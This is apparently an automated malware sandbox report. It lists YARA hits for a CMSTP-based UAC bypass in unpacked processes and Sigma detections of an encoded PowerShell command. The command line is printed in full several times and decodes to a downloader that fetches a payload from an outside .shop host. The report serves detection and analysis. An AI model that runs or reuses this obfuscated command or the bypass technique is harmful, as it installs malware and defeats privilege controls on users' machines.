8.2.ImApp.exe.a77ba58.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
12.2.ImApp.exe.a75498b.7.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.ImApp.exe.a75498b.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
13.2.explorer.exe.511cbe1.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.explorer.exe.511cbe1.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
13.2.explorer.exe.50d7b14.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.explorer.exe.50d7b14.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
8.2.ImApp.exe.a77c658.9.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
8.2.ImApp.exe.a77c658.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
13.2.explorer.exe.511d7e1.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.explorer.exe.511d7e1.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
11.2.ImApp.exe.a5ee98b.9.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.ImApp.exe.a5ee98b.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
9.2.more.com.4b407e1.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.more.com.4b407e1.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
7.2.ImApp.exe.aef998b.9.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
7.2.ImApp.exe.aef998b.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
11.2.ImApp.exe.a634658.7.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.ImApp.exe.a634658.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
12.2.ImApp.exe.a79a658.10.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.ImApp.exe.a79a658.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
7.2.ImApp.exe.af3ea58.8.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
7.2.ImApp.exe.af3ea58.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
9.2.more.com.4afab14.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.more.com.4afab14.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
12.2.ImApp.exe.a799a58.9.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.ImApp.exe.a799a58.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
7.2.ImApp.exe.af3f658.10.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
7.2.ImApp.exe.af3f658.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d1bd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d449:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d248:$s1: CoGetObject 0x1d4d4:$s1: CoGetObject 0x1d1a1:$s2: Elevation:Administrator!new: 0x1d42d:$s2: Elevation:Administrator!new:
8.2.ImApp.exe.a73698b.8.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
8.2.ImApp.exe.a73698b.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62e8a:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63116:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f15:$s1: CoGetObject 0x631a1:$s1: CoGetObject 0x62e6e:$s2: Elevation:Administrator!new: 0x630fa:$s2: Elevation:Administrator!new:
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBm

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBm

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBm

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

